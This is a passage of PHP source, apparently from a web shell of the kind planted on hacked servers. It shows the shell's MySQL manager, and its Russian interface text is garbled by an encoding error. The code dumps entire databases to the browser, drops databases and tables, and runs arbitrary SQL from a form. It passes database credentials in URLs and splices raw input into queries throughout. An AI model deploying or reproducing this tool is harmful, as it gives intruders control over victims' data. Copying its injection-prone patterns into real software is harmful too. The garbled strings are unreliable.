1705<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&str=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"оÐЙЮГЮРРЯРПСЙРСПС ад\"><b>ЯРПСЙРСПЮ</b></a>
1706
1707</td>
1708
1709<td width=20% bgcolor=#181818>
1710
1711<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&dump=bd\" title=\"щЙЯОÐПРДЮММШУ ÐЮГШ $db\"><b>дЮЛО ÐЮГШ</b></a>
1712
1713</td>
1714
1715<td width=20% bgcolor=#181818>
1716
1717<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&drop=$db&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"ÑДЮКХРРад $db\" onClick=\"return confirm('ÑДЮКХРРÐЮГС $db ?')\";><b>СДЮКХРРÐЮГС</b></a>
1718
1719</td>
1720
1721</tr>
1722
1723</table>
1724
1725</td>
1726
1727</tr>
1728
1729<tr>
1730
1731<td><br>";
1732
1733print " ад:(<b>$db</b>) бЯЕЦРРЮÐКХЖ:(<b>$cnt</b>)";
1734
1735if (isset($t)) { print "<br> ";}
1736
1737if (isset($t2)) { print base64_decode($t2);}
1738
1739if (isset($str) && $str=='TRUE'){
1740
1741mysql_select_db($db);
1742
1743if ($cnt < 1) {
1744
1745print "<table border=1 width=400 align=center bgcolor=#181818><tr align=center>".
1746
1747"<td><br><h5>мЕБÐГЛÐФМРОÐЙЮГЮРРЯРПСЙРСПС ÐЮГШ<br>б ÐЮГЕ <font color=blue>".
1748
1749"$db</font> МЕРРЮÐКХЖ!</h5></td></tr></table><br><br>";
1750
1751}else{
1752
1753$result = mysql_query("SHOW TABLE STATUS", $connection);
1754
1755print "<br><center><font size=2>ÑРПСЙРСПЮ ÐЮГШ [ <b>$db</b> ]</font></center>".
1756
1757"<table align=center border=0 cellpadding=0 cellspacing=1 width=650 bgcolor=#181818>".
1758
1759"<tr align=center bgcolor=#181818><td>ХЛЪ РЮÐКХЖШ</td><td>РХО</td><td>ПЪДÐБ</td><td>ЯÐГДЮМЮ</td>".
1760
1761"<td>ЛÐДХТХЖХПÐБЮМЮ</td><td>ПЮГЛЕП(kb)</td><td>ДЕИЯРБХЕ</td></tr>";
1762
1763while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
1764
1765$size=$row[5]/1000;
1766
1767print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td><td align=center>$row[3]</td>".
1768
1769"<td>$row[10]</td><td>$row[11]</td><td align=center>$size</td><td bgcolor=red align=center>".
1770
1771"<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&".
1772
1773"port=$port&drop_table=$row[0]\" onClick=\"return confirm('ÑДЮКХРРРЮÐКХЖС $row[0]?')\";>СМХВРÐФХРÐ</a></td>
1774
1775</tr>";
1776
1777}
1778
1779print "</table><br>";
1780
1781mysql_free_result($result);
1782
1783}
1784
1785}
1786
1787print "</td>
1788
1789</tr>
1790
1791</table>";
1792
1793}
1794
1795$form_dump_bd=
1796
1797"<form method=\"get\" action=\"$self\">".
1798
1799"<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
1800
1801<input type=hidden name=workingdir value=".getcwd().">".
1802
1803"<input type=\"hidden\" name=\"db\" value=\"$db\">".
1804
1805"<input type=\"hidden\" name=\"server\" value=\"$server\">".
1806
1807"<input type=\"hidden\" name=\"port\" value=\"$port\">".
1808
1809"<input type=\"hidden\" name=\"login\" value=\"$login\">".
1810
1811"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
1812
1813"<input type=\"hidden\" name=\"f_dump\" value=\"$file\">".
1814
1815"<input type=\"hidden\" name=\"dump\" value=\"bd\">".
1816
1817"<input type=\"hidden\" name=\"strukt\" value=\"d_strukt_bd\">".
1818
1819"<table align=center bgcolor=#181818 width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#181818><td valign=top>".
1820
1821"<table cellpadding=2 bgcolor=#181818 width=100%>".
1822
1823"<tr><td align=center><b>Dump ÐЮГШ</b> [ <font color=green><b>$db</b></font> ]</td></tr>".
1824
1825"<tr><td align=center><font color=gray><b>ÑРПСЙРСПЮ Ð¥ ДЮММШЕ</b></font></td></tr>".
1826
1827"<tr><td align=center><hr size=1 color=#FFFFFF><b>дЕИЯРБХЕ</b> (ОÐЙЮГЮРÐ/ÐРОПЮБХРÐ)</td></tr>".
1828
1829"<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> оÐЙЮГЮРРБ ÐПÐСГЕПЕ</td></tr>".
1830
1831"<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> нРОПЮБХРРТЮИК ДЮЛОЮ ОРHTTP</td></tr>".
1832
1833"<tr><td align=center><br><input type=\"submit\" value=\"бШОÐКМХРРГЮОПÐЯ\"></td></tr>".
1834
1835"</table>".
1836
1837"</td></tr></table></form>";
1838
1839if ($_REQUEST['dump']=='bd') {
1840
1841if ($cnt >= 1) {
1842
1843print $form_dump_bd;
1844
1845}else{
1846
1847print "<table border=1 width=400 align=center bgcolor=#181818><tr align=center>".
1848
1849"<td><br><h5>мЕБÐГЛÐФМРЯДЕКЮРРДЮЛО ÐЮГШ<br>б ÐЮГЕ <font color=blue>".
1850
1851"$db</font> МЕРРЮÐКХЖ!</h5></td></tr></table><br><br>";
1852
1853}
1854
1855}
1856
1857$host = $HTTP_SERVER_VARS["SERVER_NAME"];
1858
1859$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
1860
1861if ($_REQUEST['strukt']=='d_strukt_bd' && $_REQUEST['send']=='send_br'){
1862
1863if (sizeof($tabs) == 0) {
1864
1865$res = mysql_query("SHOW TABLES FROM $db", $connection);
1866
1867if (mysql_num_rows($res) > 0) {
1868
1869while ($row = mysql_fetch_row($res)) {
1870
1871$tabs[] .= $row[0];
1872
1873}
1874
1875}
1876
1877}
1878
1879$fp = fopen($file, "w");
1880
1881fputs ($fp, "# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
1882
1883date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
1884
1885foreach($tabs as $tab) {
1886
1887if ($add_drop) {
1888
1889fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
1890
1891}
1892
1893$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
1894
1895$row = mysql_fetch_row($res);
1896
1897fputs($fp, $row[1].";\n\n");
1898
1899$res = mysql_query("SELECT * FROM `$tab`", $connection);
1900
1901if (mysql_num_rows($res) > 0) {
1902
1903while ($row = mysql_fetch_assoc($res)) {
1904
1905$keys = implode("`, `", array_keys($row));
1906
1907$values = array_values($row);
1908
1909foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
1910
1911$values = implode("', '", $values);
1912
1913$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
1914
1915fputs($fp, $sql);
1916
1917}
1918
1919}
1920
1921fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
1922
1923}
1924
1925fclose($fp);
1926
1927$dump_file=file($file);
1928
1929print "<table border=1 align=center cellpadding=2 bgcolor=#181818 width=98%><tr><td>";
1930
1931print "<table border=0 align=center cellpadding=2 bgcolor=#181818>";
1932
1933foreach ($dump_file as $k=>$v) {
1934
1935$v=str_replace("\n","<br>",$v);
1936
1937print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";
1938
1939}
1940
1941print "</table></td></tr></table><br>";
1942
1943unlink($file);
1944
1945}
1946
1947$form_cr_tbl=
1948
1949"<form method=\"get\" action=\"$self\">".
1950
1951"<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
1952
1953<input type=hidden name=workingdir value=".getcwd().">".
1954
1955"<input type=\"hidden\" name=\"db\" value=\"$db\">".
1956
1957"<input type=\"hidden\" name=\"server\" value=\"$server\">".
1958
1959"<input type=\"hidden\" name=\"port\" value=\"$port\">".
1960
1961"<input type=\"hidden\" name=\"login\" value=\"$login\">".
1962
1963"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
1964
1965"<table align=center bgcolor=#181818 width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#181818><td valign=top>".
1966
1967"<table cellpadding=2 bgcolor=#181818 width=100%>".
1968
1969"<tr><td align=center><b>ÑÐГДЮРРМÐБСЧ РЮÐКХЖС Б ÐЮГЕ</b> [ <font color=green><b>$db</b></font> ]<hr color=#181818></td></tr>".
1970
1971"<tr><td align=center>хЛЪ МÐБÐИ РЮÐКХЖШ: <input type=\"text\" name=\"new_tbl_name\" value=\"\" size=25></td></tr>".
1972
1973"<tr><td align=center>йÐКХВЕЯРБРОÐКЕИ РЮÐКХЖШ: <input type=\"text\" name=\"new_count_cols\" value=\"\" size=10></td></tr>".
1974
1975"<tr><td align=center><br><input type=\"submit\" value=\"бШОÐКМХРРГЮОПÐЯ\"></td></tr>".
1976
1977"</table>".
1978
1979"</td></tr></table></form>";
1980
1981if (isset($_REQUEST['cr_tbl']) && $_REQUEST['cr_tbl']=='new'){
1982
1983print "$form_cr_tbl";
1984
1985}
1986
1987if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) {
1988
1989print "<script>alert('йÐКХВЕЯРБРОÐКЕИ РЮÐКХЖШ - ЩРРВХЯКÐ, Ю МЕ Ð’Ð Ð-РРХМÐЕ!');</script>";
1990
1991print "$form_cr_tbl";
1992
1993}
1994
1995if ( (ereg("[0-9]",$_REQUEST['new_count_cols'])) && ($_REQUEST['new_tbl_name'] !=='') ) {
1996
1997for ($i=0; $i < $_REQUEST['new_count_cols']; $i++) {
1998
1999$pole_count .= "<tr align=center bgcolor=#181818>".
2000
2001"<td><input type=\"text\" name=\"field_name[]\" size=\"10\" value=\"\"></td>".
2002
2003"<td>
2004
2005<select name=\"field_type[]\" width=3>
2006
2007<option value=\"VARCHAR\">VARCHAR</option>
2008
2009<option value=\"TINYINT\">TINYINT</option>
2010
2011<option value=\"TEXT\">TEXT</option>
2012
2013<option value=\"DATE\">DATE</option>
2014
2015<option value=\"SMALLINT\">SMALLINT</option>
2016
2017<option value=\"MEDIUMINT\">MEDIUMINT</option>
2018
2019<option value=\"INT\">INT</option>
2020
2021<option value=\"BIGINT\">BIGINT</option>
2022
2023<option value=\"FLOAT\">FLOAT</option>
2024
2025<option value=\"DOUBLE\">DOUBLE</option>
2026
2027<option value=\"DECIMAL\">DECIMAL</option>
2028
2029<option value=\"DATETIME\">DATETIME</option>
2030
2031<option value=\"TIMESTAMP\">TIMESTAMP</option>
2032
2033<option value=\"TIME\">TIME</option>
2034
2035<option value=\"YEAR\">YEAR</option>
2036
2037<option value=\"CHAR\">CHAR</option>
2038
2039<option value=\"TINYBLOB\">TINYBLOB</option>
2040
2041<option value=\"TINYTEXT\">TINYTEXT</option>
2042
2043<option value=\"BLOB\">BLOB</option>
2044
2045<option value=\"MEDIUMBLOB\">MEDIUMBLOB</option>
2046
2047<option value=\"MEDIUMTEXT\">MEDIUMTEXT</option>
2048
2049<option value=\"LONGBLOB\">LONGBLOB</option>
2050
2051<option value=\"LONGTEXT\">LONGTEXT</option>
2052
2053<option value=\"ENUM\">ENUM</option>
2054
2055<option value=\"SET\">SET</option>
2056
2057</select>
2058
2059</td>".
2060
2061"<td><input type=\"text\" name=\"field_length[]\" size=\"6\" value=\"\"></td>".
2062
2063"<td>
2064
2065<select name=\"field_attribute[]\">
2066
2067<option value=\"\" selected=\"selected\"></option>
2068
2069<option value=\"BINARY\">BINARY</option>
2070
2071<option value=\"UNSIGNED\">UNSIGNED</option>
2072
2073<option value=\"UNSIGNED ZEROFILL\">UNS-D ZEROFILL</option>
2074
2075</select>
2076
2077</td>".
2078
2079"<td>
2080
2081<select name=\"field_null[]\">
2082
2083<option value=\"NOT NULL\">not null</option>
2084
2085<option value=\"\">null</option>
2086
2087</select>
2088
2089</td>".
2090
2091"<td><input type=\"text\" name=\"field_default[]\" size=\"14\" value=\"\"></td>".
2092
2093"<td>
2094
2095<select name=\"field_extra[]\">
2096
2097<option value=\"\"></option>
2098
2099<option value=\"AUTO_INCREMENT\">auto_increment</option>
2100
2101</select>
2102
2103</td>".
2104
2105"<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"primary_0\"></td>".
2106
2107"<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"index_0\"></td>".
2108
2109"<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"unique_0\"></td>".
2110
2111"<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"no\" checked=\"checked\"></td>".
2112
2113"</tr>";
2114
2115}
2116
2117print
2118
2119"<form method=\"get\" action=\"$self\">".
2120
2121"<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
2122
2123<input type=hidden name=workingdir value=".getcwd().">".
2124
2125"<input type=\"hidden\" name=\"db\" value=\"$db\">".
2126
2127"<input type=\"hidden\" name=\"new_tbl_name\" value=\"$new_tbl_name\">".
2128
2129"<input type=\"hidden\" name=\"server\" value=\"$server\">".
2130
2131"<input type=\"hidden\" name=\"port\" value=\"$port\">".
2132
2133"<input type=\"hidden\" name=\"login\" value=\"$login\">".
2134
2135"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
2136
2137"<table align=center bgcolor=#181818 width=98% cellpadding=0 cellspacing=1 border=0><tr bgcolor=#181818><td valign=top>".
2138
2139"<table cellpadding=2 bgcolor=#181818 width=100%>".
2140
2141"<tr><td align=center><b>ÑÐГДЮРРМÐБСЧ РЮÐКХЖС</b> [ <font color=green><b>$new_tbl_name</b></font> ] <b>Б ÐЮГЕ</b> [ <font color=green><b>$db</b></font> ]<hr color=#FFFFFF></td></tr>".
2142
2143"<tr><td align=center>".
2144
2145"<table bgcolor=#181818 border=0 cellspacing=1 cellpadding=2 bgcolor=#181818 width=100%>".
2146
2147"<tr align=center bgcolor=#181818><td><b>оÐКЕ</b></td><td><b>рХО</b></td><td><b>дКХММЮ</b></td><td><b>юРПХÐСРШ</b></td><td><b>мÐКÐ</b></td><td><b>оРСЛÐКВЮМХЧ</b></td><td><b>дÐОÐКМХРЕКÐМÐ</b></td><td><b>оЕПБХВМШИ</b></td><td><b>хМДЕЙЯ</b></td><td><b>ÑМХЙ-oЕ</b></td><td><b>---</b></td></tr>";
2148
2149print $pole_count;
2150
2151print
2152
2153"</table><br><b>йÐЛЕМРЮПХИ Й РЮÐКХЖЕ:</b> <input type=\"text\" name=\"comment\" size=\"40\" maxlength=\"80\">
2154
2155 <b>рХО РЮÐКХЖШ:</b>
2156
2157<select name=\"tbl_type\">
2158
2159<option value=\"Default\">оРСЛÐКВЮМХЧ</option>
2160
2161<option value=\"MYISAM\">MyISAM</option>
2162
2163<option value=\"HEAP\">Heap</option>
2164
2165<option value=\"MERGE\">Merge</option>
2166
2167<option value=\"ISAM\">ISAM</option>
2168
2169</select>
2170
2171<input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> оÐЙЮГЮРРPHP-ЙÐД ГЮОПÐЯЮ
2172
2173</td></tr>".
2174
2175"<tr><td align=center><br><input type=\"submit\" value=\"бШОÐКМХРРГЮОПÐЯ\"></td></tr>".
2176
2177"</table>".
2178
2179"</td></tr></table></form>";
2180
2181}
2182
2183if (isset($_REQUEST['field_name'])) {
2184
2185for ($i=0; $i<count($field_name); $i++) {
2186
2187if ($_REQUEST['field_name'][$i] !=='') {
2188
2189$n_name .= "`$field_name[$i]` ";
2190
2191if ($_REQUEST['field_length'][$i] !=='') {
2192
2193$n_name .= "$field_type[$i]($field_length[$i]) ";
2194
2195}else{
2196
2197$n_name .= "$field_type[$i] ";
2198
2199}
2200
2201if ($_REQUEST['field_attribute'][$i] !=='') { $n_name .= "$field_attribute[$i] "; }
2202
2203if ($_REQUEST['field_null'][$i] =='NOT NULL') { $n_name .= "$field_null[$i] "; }
2204
2205if ($_REQUEST['field_default'][$i] !=='') { $n_name .= "DEFAULT '$field_default[$i]' "; }
2206
2207if ($_REQUEST['field_extra'][$i] =='AUTO_INCREMENT') { $n_name .= "$field_extra[$i], "; }else{ $n_name .=', '; }
2208
2209if ($_REQUEST['field_key_0'][$i] !=='no') {
2210
2211if ($_REQUEST['field_key_0'][$i] =='primary_0') {
2212
2213$n_prim .= " `$field_name[$i]`, ";
2214
2215}
2216
2217if ($_REQUEST['field_key_0'][$i] =='index_0') {
2218
2219$n_ind .= " `$field_name[$i]`, ";
2220
2221}
2222
2223if ($_REQUEST['field_key_0'][$i] =='unique_0') {
2224
2225$n_uniq .= " `$field_name[$i]`, ";
2226
2227}
2228
2229}
2230
2231}
2232
2233}
2234
2235$n_name=substr_replace($n_name,"",-2);
2236
2237if (count($n_prim)>0) {
2238
2239$n_prim=substr_replace($n_prim,"",-2);
2240
2241$n_name .=", PRIMARY KEY ($n_prim)";
2242
2243}
2244
2245if (count($n_ind)) {
2246
2247$n_ind=substr_replace($n_ind,"",-2);
2248
2249$n_name .=", INDEX ($n_ind)";
2250
2251}
2252
2253if (count($n_uniq)) {
2254
2255$n_uniq=substr_replace($n_uniq,"",-2);
2256
2257$n_name .=", UNIQUE ($n_uniq)";
2258
2259}
2260
2261$sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )";
2262
2263if ($_REQUEST['tbl_type'] !=='Default') {
2264
2265$sql_new_tbl .= " TYPE =$tbl_type";
2266
2267}
2268
2269if ($_REQUEST['comment'] !=='') {
2270
2271$sql_new_tbl .= " COMMENT = '$comment'";
2272
2273}
2274
2275$r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error");
2276
2277$t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#ffffff size=2>рЮÐКХЖЮ [ <b>$new_tbl_name</b> ] СЯОЕЬМРЯÐГДЮМЮ.</font><br>");
2278
2279if ($_REQUEST['php_kod']=='ok') {
2280
2281$t2=base64_encode("<br><table bgcolor=#EDEEF1 align=center width=98%><font color=green><b>PHP-ЙÐД ГЮОПÐЯЮ:</b></font><tr><td>\$sql='$sql_new_tbl';</td></tr></table><br><br>");
2282
2283}else{ $t2=''; }
2284
2285print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&t=$t&t2=$t2'></head>";
2286
2287}
2288
2289if ($_REQUEST['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; }
2290
2291if ($_REQUEST['return_sql']=='ok') { $q_bd=trim($_REQUEST['new_query_bd']);}
2292
2293$form_query_db="<br>
2294
2295<form method=\"post\" action=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&server=$server&port=$port&login=$login&passwd=$passwd\">
2296
2297<table align=center width=90% border=0 bgcolor=#181818><tr><td>бШОÐКМХРРОПÐХГБÐКÐМШИ ГЮОПÐЯ Й ÐЮГЕ ( <b>$db</b> )</td></tr>
2298
2299<tr><td width=90>
2300
2301<textarea name=\"new_query_bd\" rows=\"10\" cols=\"80\">$q_bd</textarea>
2302
2303</td><td valign=top>
2304
2305<input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> оÐЙЮГЮРРPHP-ЙÐД ГЮОПÐЯЮ<br><br>
2306
2307<input type=\"checkbox\" name=\"return_sql\" value=\"ok\" checked=\"checked\"> оÐЙЮГЮРРДЮММШИ ГЮОПÐЯ ЯМÐБЮ<br>
2308
2309<br>
2310
2311<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&q_help=ok\" target=\"_blank\"><b>оПХЛЕПШ ГЮОПÐЯÐБ</b></a>
2312
2313</td></tr>
2314
2315<tr><td>
2316
2317<input type=\"submit\" value=\"ГЮОПÐЯ\">
2318
2319</td></tr>
2320
2321</table></form>";
2322
2323if (isset($db) && $_REQUEST['q_tbl']=='bd') {
2324
2325print $form_query_db;
2326
2327}
2328
2329if (isset($_REQUEST['new_query_bd'])) {
2330
2331$_REQUEST['new_query_bd']=trim($_REQUEST['new_query_bd']);
2332
2333print $form_query_db;
2334
2335if ($_REQUEST['php_kod']=='ok') {
2336
2337print " <font color=green><b>PHP-ЙÐД ГЮОПÐЯЮ:</b></font><br> \$sql=\"".$_REQUEST['new_query_bd']."\";<br><br>";
2338
2339}
2340
2341$r_q_bd=mysql_db_query($db, $_REQUEST['new_query_bd']) or die("$h_error".mysql_error()."$f_error");
2342
2343print " <b>гЮОПÐЯ СЯОЕЬМРБШОÐКМЕМ<b>";
2344
2345if ($r_q_bd !=='') {
2346
2347print "<table align=center width=98% bgcolor=#D7D8DA>";
2348
2349while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) {
2350
2351print "<tr>";
2352
2353foreach ($line_bd as $key_bd =>$col_value_bd) {
2354
2355print "<td bgcolor=#181818>".htmlspecialchars($col_value_bd)."</td>";
2356
2357}
2358
2359print "</tr>";
2360
2361}
2362
2363print "</table><br>";
2364
2365@mysql_free_result($r_q_bd);
2366
2367}
2368
2369}
2370
2371if (isset($drop_table) && isset($db)){
2372
2373mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
2374
2375$query = "DROP TABLE IF EXISTS $drop_table";
2376
2377$result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
2378
2379$t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#ffffff size=2>рЮÐКХЖЮ [ <b>$drop_table </b>] СЯОЕЬМРСДЮКЕМЮ.</font><br>");
2380
2381print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&t=$t'></head>";
2382
2383unset($drop_table);
2384
2385}
2386
2387if (isset($q_i)) { $n_img($tag,$f_n,$img_c); }
2388
2389if (isset($db) && isset($tbl)) {
2390
2391$count=mysql_query ("SELECT COUNT(*) FROM $tbl");
2392
2393$count_row= mysql_fetch_array($count);
2394
2395mysql_free_result($count);
2396
2397print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0>
2398
2399<tr>
2400
2401<td>
2402
2403<table align=center border=0 width=700 cellpadding=0 cellspacing=1 bgcolor=#181818>
2404
2405<tr align=center>
2406
2407<td width=100 bgcolor=#181818>
2408
2409<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&tbl=$tbl&st_tab=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"оÐЙЮГЮРРЯРПСЙРСПС $tbl\"><b>ÑРПСЙРСПЮ</b></a>
2410
2411</td>
2412
2413<td width=100 bgcolor=#181818>
2414
2415<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&tbl=$tbl&login=$login&passwd=$passwd&server=$server&port=$port&nn_row=ok\" title=\"бЯРЮБХРРМÐБШИ ПЪД Б РЮÐКХЖС $tbl\"><b>бЯРЮБХРÐ</b></a>
2416
2417</td>
2418
2419<td width=120 bgcolor=#181818>
2420
2421<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&tbl=$tbl&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=table\" title=\"оПÐХГБÐКÐМШИ SQL ГЮОПÐЯ\"><b>SQL-ГЮОПÐЯ</b></a>
2422
2423</td>
2424
2425<td width=120 bgcolor=#181818>
2426
2427<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl&dump=tab\" title=\"щЙЯОÐПРДЮММШУ РЮÐКХЖШ $tbl\"><b>дЮЛО РЮÐКХЖШ</b></a>
2428
2429</td>
2430
2431<td width=120 bgcolor=#181818>
2432
2433<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl&alter_table=TRUE\" title=\"оЕПЕХЛЕМÐБЮРРРЮÐКХЖС $tbl\"><b>оЕПЕХЛЕМÐБЮРÐ</b></a>
2434
2435</td>
2436
2437<td width=120 bgcolor=#181818>
2438
2439<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&drop_table=$tbl&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"ÑДЮКХРРРЮÐКХЖС $tbl\" onClick=\"return confirm('ÑДЮКХРРРЮÐКХЖС $tbl ?')\";><b>ÑДЮКХРРРЮÐКХЖС</b></a>
2440
2441</td>
2442
2443</tr>
2444
2445</table>
2446
2447</td>
2448
2449</tr>
2450
2451<tr>
2452
2453<td><br>";
2454
2455if (isset($t)) { print " ".base64_decode($t);}
2456
2457print " ад:(<b>$db</b>) рЮÐКХЖЮ:(<b>$tbl</b>)
2458
2459бЯЕЦРЯРПÐЙ:(<b>$count_row[0]</b>)
2460
2461</td>
2462
2463</tr>
2464
2465<tr>
2466
2467<td>
2468
2469<table border=0 width=100% cellpadding=4 cellspacing=0 bgcolor=#181818>
2470
2471<tr>
2472
2473<td bgcolor=#181818 align=center valign=center>";
2474
2475$start=$limit_start+$limit_count;
2476
2477if (isset($start) && ($start>0)) {
2478
2479print "<table align=center border=0 cellpadding=4 cellspacing=0>
2480
2481<tr>";
2482
2483if ($start+$limit_count >= $count_row[0]){
2484
2485$start=$limit_start;
2486
2487$limit_count=$count_row[0]-$start;
2488
2489}
2490
2491if (isset($start) && ($limit_start >= 30) ){
2492
2493$back=$limit_start-30;
2494
2495print "<form method=\"get\" action=\"$self\">
2496
2497<td bgcolor=#181818 align=center>
2498
2499<input type=hidden name=sec value=mysql>
2500
2501<input type=hidden name=workingdir value=".getcwd().">
2502
2503<input type=\"hidden\" name=\"server\" value=\"$server\">
2504
2505<input type=\"hidden\" name=\"port\" value=\"$port\">
2506
2507<input type=\"hidden\" name=\"login\" value=\"$login\">
2508
2509<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
2510
2511<input type=\"hidden\" name=\"db\" value=\"$db\">
2512
2513<input type=\"hidden\" name=\"s\" value=\"$s\">
2514
2515<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
2516
2517<input type=\"hidden\" name=\"limit_start\" value=\"$back\">
2518
2519<input type=\"hidden\" name=\"limit_count\" value=\"30\">
2520
2521<input type=\"submit\" value=\"<< МЮГЮД(30)\">
2522
2523</td></form>";
2524
2525}
2526
2527print " <form method=\"get\" action=\"$self\">
2528
2529<td bgcolor=#181818 align=center>
2530
2531<input type=hidden name=sec value=mysql>
2532
2533<input type=hidden name=workingdir value=".getcwd().">
2534
2535<input type=\"hidden\" name=\"server\" value=\"$server\">
2536
2537<input type=\"hidden\" name=\"port\" value=\"$port\">
2538
2539<input type=\"hidden\" name=\"login\" value=\"$login\">
2540
2541<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
2542
2543<input type=\"hidden\" name=\"db\" value=\"$db\">
2544
2545<input type=\"hidden\" name=\"s\" value=\"$s\">
2546
2547<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
2548
2549<input type=\"submit\" value=\"ОÐЙЮГЮРÐ\"> ÐÐ
2550
2551<input type=\"text\" name=\"limit_start\" value=\"$start\" size=\"5\" maxlength=\"5\">ЯРПÐЙХ
2552
2553 <input type=\"text\" name=\"limit_count\" value=\"$limit_count\" size=\"5\" maxlength=\"5\">ЯРПÐЙ РЮÐКХЖШ
2554
2555</td></form>";
2556
2557if ( isset($limit_start) && ($start <= $count_row[0]) ){
2558
2559print "<form method=\"get\" action=\"$self\">
2560
2561<td bgcolor=#181818 align=center>
2562
2563<input type=hidden name=sec value=mysql>
2564
2565<input type=hidden name=workingdir value=".getcwd().">
2566
2567<input type=\"hidden\" name=\"server\" value=\"$server\">
2568
2569<input type=\"hidden\" name=\"port\" value=\"$port\">
2570
2571<input type=\"hidden\" name=\"login\" value=\"$login\">
2572
2573<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
2574
2575<input type=\"hidden\" name=\"s\" value=\"$s\">
2576
2577<input type=\"hidden\" name=\"db\" value=\"$db\">
2578
2579<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
2580
2581<input type=\"hidden\" name=\"limit_start\" value=\"$start\">
2582
2583<input type=\"hidden\" name=\"limit_count\" value=\"30\">
2584
2585<input type=\"submit\" value=\"БОЕПЕД(30)>>\">
2586
2587</td></form>";
2588
2589}
2590
2591print "</tr></form></table>";
2592
2593}
2594
2595if ($alter_table=="TRUE"){
2596
2597print " <form method=\"get\" action=\"$self\">
2598
2599<input type=hidden name=sec value=mysql>
2600
2601<input type=hidden name=workingdir value=".getcwd().">
2602
2603<input type=\"hidden\" name=\"s\" value=\"$s\">
2604
2605<input type=\"hidden\" name=\"server\" value=\"$server\">
2606
2607<input type=\"hidden\" name=\"port\" value=\"$port\">
2608
2609<input type=\"hidden\" name=\"login\" value=\"$login\">
2610
2611<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
2612
2613<input type=\"hidden\" name=\"db\" value=\"$db\">
2614
2615<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
2616
2617<input type=\"hidden\" name=\"alter_table\" value=\"$alter_table\">
2618
2619<table border=0 cellpadding=4 cellspacing=1 bgcolor=#181818>
2620
